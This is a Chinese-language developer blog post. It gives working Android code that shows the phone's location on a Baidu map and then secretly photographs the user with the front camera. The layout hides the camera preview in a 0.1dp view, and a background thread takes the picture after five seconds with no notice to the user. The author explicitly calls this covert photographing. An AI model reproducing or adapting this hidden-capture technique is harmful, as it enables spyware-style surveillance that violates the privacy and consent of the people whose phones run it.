Android使用百度地图定位并显示手机位置后使用前置摄像头“偷拍”
今天老板让我验证一下技术可行性,记录下来。
需求 :定位手机的位置并在百度地图上显示,得到位置后使用前置摄像头进行抓拍
拿到这个需求后,对于摄像头的使用不太熟悉,于是我先做了定位手机并在百度地图上显示的功能
访问了百度地图api官网http://lbsyun.baidu.com/找到Android地图以及定位使用部分,官网上有详尽的使用指南,这里只简单总结描述一下,首先复制粘贴jar包和so文件
如图,jar包文件最好与so文件版本一致
1 package com.agile.androiddgs.activity; 2 3 import android.Manifest; 4 import android.annotation.TargetApi; 5 import android.app.Activity; 6 import android.content.pm.PackageManager; 7 import android.graphics.Bitmap; 8 import android.graphics.BitmapFactory; 9 import android.hardware.Camera; 10 import android.media.MediaScannerConnection; 11 import android.net.Uri; 12 import android.os.Build; 13 import android.os.Bundle; 14 import android.os.Handler; 15 import android.util.Log; 16 import android.view.Surface; 17 import android.view.SurfaceHolder; 18 import android.view.SurfaceView; 19 import android.view.Window; 20 21 import com.agile.androiddgs.R; 22 import com.baidu.location.BDLocation; 23 import com.baidu.location.BDLocationListener; 24 import com.baidu.location.LocationClient; 25 import com.baidu.location.LocationClientOption; 26 import com.baidu.mapapi.SDKInitializer; 27 import com.baidu.mapapi.map.BaiduMap; 28 import com.baidu.mapapi.map.BitmapDescriptor; 29 import com.baidu.mapapi.map.MapStatusUpdate; 30 import com.baidu.mapapi.map.MapStatusUpdateFactory; 31 import com.baidu.mapapi.map.MapView; 32 import com.baidu.mapapi.map.MyLocationData; 33 import com.baidu.mapapi.model.LatLng; 34 import com.baidu.mapapi.search.core.SearchResult; 35 import com.baidu.mapapi.search.geocode.GeoCodeResult; 36 import com.baidu.mapapi.search.geocode.GeoCoder; 37 import com.baidu.mapapi.search.geocode.OnGetGeoCoderResultListener; 38 import com.baidu.mapapi.search.geocode.ReverseGeoCodeOption; 39 import com.baidu.mapapi.search.geocode.ReverseGeoCodeResult; 40 41 import java.io.ByteArrayInputStream; 42 import java.io.ByteArrayOutputStream; 43 import java.util.ArrayList; 44 import java.util.List; 45 46 public class PositionActivity extends Activity implements OnGetGeoCoderResultListener{ 47 /**********************百度地图定位以及地图功能*********************************/ 48 private String permissionInfo; 49 private final int SDK_PERMISSION_REQUEST = 127; 50 private MapView mapView = null; 51 private BaiduMap baiduMap = null; 52 53 // 定位相关声明 54 private LocationClient locationClient = null; 55 //自定义图标 56 private BitmapDescriptor mCurrentMarker = null; 57 private boolean isFirstLoc = true;// 是否首次定位 58 59 GeoCoder mSearch = null; // 搜索模块,也可去掉地图模块独立使用 60 61 private BDLocationListener myListener = new BDLocationListener() { 62 @Override 63 public void onReceiveLocation(BDLocation location) {//定位成功 64 // map view 销毁后不在处理新接收的位置 65 if (location == null || mapView == null) 66 return; 67 try { 68 mSearch.reverseGeoCode(new ReverseGeoCodeOption().location(new LatLng(location.getLatitude(), location.getLongitude()))); 69 70 }catch (Exception e){ 71 e.printStackTrace(); 72 } 73 74 MyLocationData locData = new MyLocationData.Builder() 75 .accuracy(location.getRadius()) 76 // 此处设置开发者获取到的方向信息,顺时针0-360 77 .direction(100).latitude(location.getLatitude()) 78 .longitude(location.getLongitude()).build(); 79 baiduMap.setMyLocationData(locData); //设置定位数据 80 81 82 if (isFirstLoc) {//第一次定位 83 isFirstLoc = false; 84 85 86 LatLng ll = new LatLng(location.getLatitude(), 87 location.getLongitude()); 88 MapStatusUpdate u = MapStatusUpdateFactory.newLatLngZoom(ll, 16); //设置地图中心点以及缩放级别 89 // MapStatusUpdate u = MapStatusUpdateFactory.newLatLng(ll); 90 baiduMap.animateMapStatus(u); 91 } 92 } 93 }; 94 95 /**********************************摄像头***********************************************/ 96 private SurfaceView mySurfaceView; 97 private SurfaceHolder myHolder; 98 private Camera myCamera; 99 int mCurrentCamIndex = 0; 100 101 @Override 102 protected void onCreate(Bundle savedInstanceState) { 103 super.onCreate(savedInstanceState); 104 // after andrioid m,must request Permiision on runtime 105 getPersimmions(); 106 requestWindowFeature(Window.FEATURE_NO_TITLE); 107 // 在使用SDK各组件之前初始化context信息,传入ApplicationContext 108 // 注意该方法要再setContentView方法之前实现 109 SDKInitializer.initialize(getApplicationContext()); 110 setContentView(R.layout.activity_position); 111 112 // 初始化搜索模块,注册事件监听 113 mSearch = GeoCoder.newInstance(); 114 115 mapView = (MapView) this.findViewById(R.id.mapView); // 获取地图控件引用 116 baiduMap = mapView.getMap(); 117 //开启定位图层 118 baiduMap.setMyLocationEnabled(true); 119 120 locationClient = new LocationClient(getApplicationContext()); // 实例化LocationClient类 121 locationClient.registerLocationListener(myListener); // 注册监听函数 122 this.setLocationOption(); //设置定位参数 123 locationClient.start(); // 开始定位 124 // baiduMap.setMapType(BaiduMap.MAP_TYPE_NORMAL); // 设置为一般地图 125 126 // baiduMap.setMapType(BaiduMap.MAP_TYPE_SATELLITE); //设置为卫星地图 127 // baiduMap.setTrafficEnabled(true); //开启交通图 128 129 } 130 131 @TargetApi(23) 132 private void getPersimmions() { 133 if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { 134 ArrayList<String> permissions = new ArrayList<String>(); 135 /*** 136 * 定位权限为必须权限,用户如果禁止,则每次进入都会申请 137 */ 138 // 定位精确位置 139 if(checkSelfPermission(Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED){ 140 permissions.add(Manifest.permission.ACCESS_FINE_LOCATION); 141 } 142 if(checkSelfPermission(Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED){ 143 permissions.add(Manifest.permission.ACCESS_COARSE_LOCATION); 144 } 145 /* 146 * 读写权限和电话状态权限非必要权限(建议授予)只会申请一次,用户同意或者禁止,只会弹一次 147 */ 148 // 读写权限 149 if (addPermission(permissions, Manifest.permission.WRITE_EXTERNAL_STORAGE)) { 150 permissionInfo += "Manifest.permission.WRITE_EXTERNAL_STORAGE Deny \n"; 151 } 152 // 读取电话状态权限 153 if (addPermission(permissions, Manifest.permission.READ_PHONE_STATE)) { 154 permissionInfo += "Manifest.permission.READ_PHONE_STATE Deny \n"; 155 } 156 157 if (permissions.size() > 0) { 158 requestPermissions(permissions.toArray(new String[permissions.size()]), SDK_PERMISSION_REQUEST); 159 } 160 } 161 } 162 163 @TargetApi(23) 164 private boolean addPermission(ArrayList<String> permissionsList, String permission) { 165 if (checkSelfPermission(permission) != PackageManager.PERMISSION_GRANTED) { // 如果应用没有获得对应权限,则添加到列表中,准备批量申请 166 if (shouldShowRequestPermissionRationale(permission)){ 167 return true; 168 }else{ 169 permissionsList.add(permission); 170 return false; 171 } 172 173 }else{ 174 return true; 175 } 176 } 177 178 @TargetApi(23) 179 @Override 180 public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) { 181 // TODO Auto-generated method stub 182 super.onRequestPermissionsResult(requestCode, permissions, grantResults); 183 184 } 185 186 // 三个状态实现地图生命周期管理 187 @Override 188 protected void onDestroy() { 189 //退出时销毁定位 190 locationClient.stop(); 191 baiduMap.setMyLocationEnabled(false); 192 // TODO Auto-generated method stub 193 super.onDestroy(); 194 mapView.onDestroy(); 195 mapView = null; 196 } 197 198 @Override 199 protected void onResume() { 200 // TODO Auto-generated method stub 201 super.onResume(); 202 mapView.onResume(); 203 } 204 205 @Override 206 protected void onPause() { 207 // TODO Auto-generated method stub 208 super.onPause(); 209 mapView.onPause(); 210 } 211 212 213 214 /** 215 * 设置定位参数 216 */ 217 private void setLocationOption() { 218 LocationClientOption option = new LocationClientOption(); 219 option.setOpenGps(true); // 打开GPS 220 option.setLocationMode(LocationClientOption.LocationMode.Hight_Accuracy);// 设置定位模式 221 option.setCoorType("bd09ll"); // 返回的定位结果是百度经纬度,默认值gcj02 222 option.setScanSpan(5000); // 设置发起定位请求的间隔时间为5000ms 223 option.setIsNeedAddress(true); // 返回的定位结果包含地址信息 224 option.setNeedDeviceDirect(true); // 返回的定位结果包含手机机头的方向 225 226 locationClient.setLocOption(option); 227 } 228 229 230 @Override 231 public void onGetGeoCodeResult(GeoCodeResult geoCodeResult) { 232 233 } 234 /** 235 根据经纬度反编为具体地址 236 */ 237 @Override 238 public void onGetReverseGeoCodeResult(ReverseGeoCodeResult reverseGeoCodeResult) { 239 if (reverseGeoCodeResult == null || reverseGeoCodeResult.error != SearchResult.ERRORNO.NO_ERROR) 240 { 241 return; 242 } 243 244 String address = reverseGeoCodeResult.getAddress(); 245 } 246 247 248 }
上面是定位以及百度地图的使用,下面是摄像头的使用,以及图片压缩(本文使用质量压缩)
1 //初始化surfaceview 2 new Thread(new Runnable() { 3 @Override 4 public void run() { 5 6 mySurfaceView = (SurfaceView) findViewById(R.id.camera_surfaceview); 7 8 //初始化surfaceholder 9 myHolder = mySurfaceView.getHolder(); 10 myHolder.addCallback(new SurfaceViewCallback()); 11 myHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS); 12 13 } 14 }).start();
在onCreate()方法中另外开启一个线程,用来偷偷的拍照,初始化SurfaceView并为SurfaceView设置callBack方法
1 /***************************************************************************************/ 2 private final class SurfaceViewCallback implements android.view.SurfaceHolder.Callback { 3 public void surfaceChanged(SurfaceHolder arg0, int arg1, int arg2, int arg3) 4 { 5 6 try { 7 myCamera.setPreviewDisplay(arg0); 8 myCamera.startPreview(); 9 setCameraDisplayOrientation(PositionActivity.this, mCurrentCamIndex, myCamera); 10 new Handler().postDelayed(new Runnable(){ 11 12 public void run() { 13 //拍照 14 myCamera.takePicture(shutterCallback, rawPictureCallback, 15 jpegPictureCallback); 16 } 17 18 }, 5000); 19 20 } catch (Exception e) { 21 e.printStackTrace(); 22 } 23 } 24 public void surfaceCreated(SurfaceHolder holder) { 25 // mCamera = Camera.open(); 26 //change to front camera 27 myCamera = openFrontFacingCameraGingerbread(); 28 // get Camera parameters 29 Camera.Parameters params = myCamera.getParameters(); 30 31 List<String> focusModes = params.getSupportedFocusModes(); 32 if (focusModes.contains(Camera.Parameters.FOCUS_MODE_AUTO)) { 33 // Autofocus mode is supported 34 } 35 } 36 37 public void surfaceDestroyed(SurfaceHolder holder) { 38 myCamera.stopPreview(); 39 myCamera.release(); 40 myCamera = null; 41 } 42 } 43 44 //根据横竖屏自动调节preview方向,Starting from API level 14, this method can be called when preview is active. 45 private static void setCameraDisplayOrientation(Activity activity,int cameraId, Camera camera) 46 { 47 Camera.CameraInfo info = new Camera.CameraInfo(); 48 Camera.getCameraInfo(cameraId, info); 49 int rotation = activity.getWindowManager().getDefaultDisplay().getRotation(); 50 51 //degrees the angle that the picture will be rotated clockwise. Valid values are 0, 90, 180, and 270. 52 //The starting position is 0 (landscape). 53 int degrees = 0; 54 switch (rotation) 55 { 56 case Surface.ROTATION_0: degrees = 0; break; 57 case Surface.ROTATION_90: degrees = 90; break; 58 case Surface.ROTATION_180: degrees = 180; break; 59 case Surface.ROTATION_270: degrees = 270; break; 60 } 61 int result; 62 if (info.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) 63 { 64 result = (info.orientation + degrees) % 360; 65 result = (360 - result) % 360; // compensate the mirror 66 } 67 else 68 { 69 // back-facing 70 result = (info.orientation - degrees + 360) % 360; 71 } 72 camera.setDisplayOrientation(result); 73 } 74 75 public void scanFileToPhotoAlbum(String path) { 76 77 MediaScannerConnection.scanFile(PositionActivity.this, 78 new String[] { path }, null, 79 new MediaScannerConnection.OnScanCompletedListener() { 80 81 public void onScanCompleted(String path, Uri uri) { 82 Log.i("TAG", "Finished scanning " + path); 83 } 84 }); 85 } 86 87 private Camera openFrontFacingCameraGingerbread() { 88 int cameraCount = 0; 89 Camera cam = null; 90 Camera.CameraInfo cameraInfo = new Camera.CameraInfo(); 91 cameraCount = Camera.getNumberOfCameras(); 92 93 for (int camIdx = 0; camIdx < cameraCount; camIdx++) { 94 Camera.getCameraInfo(camIdx, cameraInfo); 95 if (cameraInfo.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) { 96 try { 97 cam = Camera.open(camIdx); 98 mCurrentCamIndex = camIdx; 99 } catch (RuntimeException e) { 100 e.printStackTrace(); 101 } 102 } 103 } 104 105 return cam; 106 } 107 108 Camera.ShutterCallback shutterCallback = new Camera.ShutterCallback() { 109 @Override 110 public void onShutter() { 111 } 112 }; 113 114 Camera.PictureCallback rawPictureCallback = new Camera.PictureCallback() { 115 @Override 116 public void onPictureTaken(byte[] arg0, Camera arg1) { 117 118 } 119 }; 120 121 Camera.PictureCallback jpegPictureCallback = new Camera.PictureCallback() { 122 @Override 123 public void onPictureTaken(byte[] arg0, Camera arg1) { 124 ByteArrayOutputStream baos = new ByteArrayOutputStream(); 125 126 int options = 100; 127 ByteArrayInputStream isBm = new ByteArrayInputStream(arg0);//把压缩后的数据baos存放到ByteArrayInputStream中 128 Bitmap bitmap = BitmapFactory.decodeStream(isBm, null, null);//把ByteArrayInputStr 129 130 bitmap.compress(Bitmap.CompressFormat.JPEG, 100, baos);//质量压缩方法,这里100表示不压缩,把压缩后的数据存放到baos中 131 132 133 while ( baos.toByteArray().length / 1024>1) { //循环判断如果压缩后图片是否大于100kb,大于继续压缩 134 baos.reset();//重置baos即清空baos 135 bitmap.compress(Bitmap.CompressFormat.JPEG, options, baos);//这里压缩options%,把压缩后的数据存放到baos中 136 options -= 10;//每次都减少10 137 } 138 139 /*String fileName = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM) 140 .toString() 141 + File.separator 142 + "PicTest_" + System.currentTimeMillis() + ".jpg"; 143 File file = new File(fileName); 144 if (!file.getParentFile().exists()) { 145 file.getParentFile().mkdir(); 146 } 147 148 try { 149 BufferedOutputStream bos = new BufferedOutputStream( 150 new FileOutputStream(file)); 151 bos.write(arg0); 152 bos.flush(); 153 bos.close(); 154 scanFileToPhotoAlbum(file.getAbsolutePath()); 155 Toast.makeText(PositionActivity.this, "[Test] Photo take and store in" + file.toString(), Toast.LENGTH_LONG).show(); 156 } catch (Exception e) { 157 Toast.makeText(PositionActivity.this, "Picture Failed" + e.toString(), 158 Toast.LENGTH_LONG).show(); 159 e.printStackTrace(); 160 }*/ 161 }; 162 };
布局文件如下
1 <?xml version="1.0" encoding="utf-8"?> 2 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" 3 android:layout_width="fill_parent" 4 android:layout_height="fill_parent" 5 android:orientation="vertical" > 6 <LinearLayout 7 android:layout_width="fill_parent" 8 android:layout_height="fill_parent" 9 android:orientation="vertical" > 10 <!-- 添加地图控件 --> 11 <com.baidu.mapapi.map.MapView 12 android:id="@+id/mapView" 13 android:layout_width="fill_parent" 14 android:layout_height="fill_parent" 15 android:clickable="true" /> 16 </LinearLayout> 17 18 <!-- 预览框,长宽都为0.1 --> 19 <SurfaceView 20 android:id="@+id/camera_surfaceview" 21 android:layout_width="0.1dp" 22 android:layout_height="0.1dp" > 23 </SurfaceView> 24 </LinearLayout>
在布局文件中地图视图占据了整个屏幕,而摄像头预览图不可见,但是存在着,打开之后会开启一个新的线程用来偷偷使用前置摄像头拍照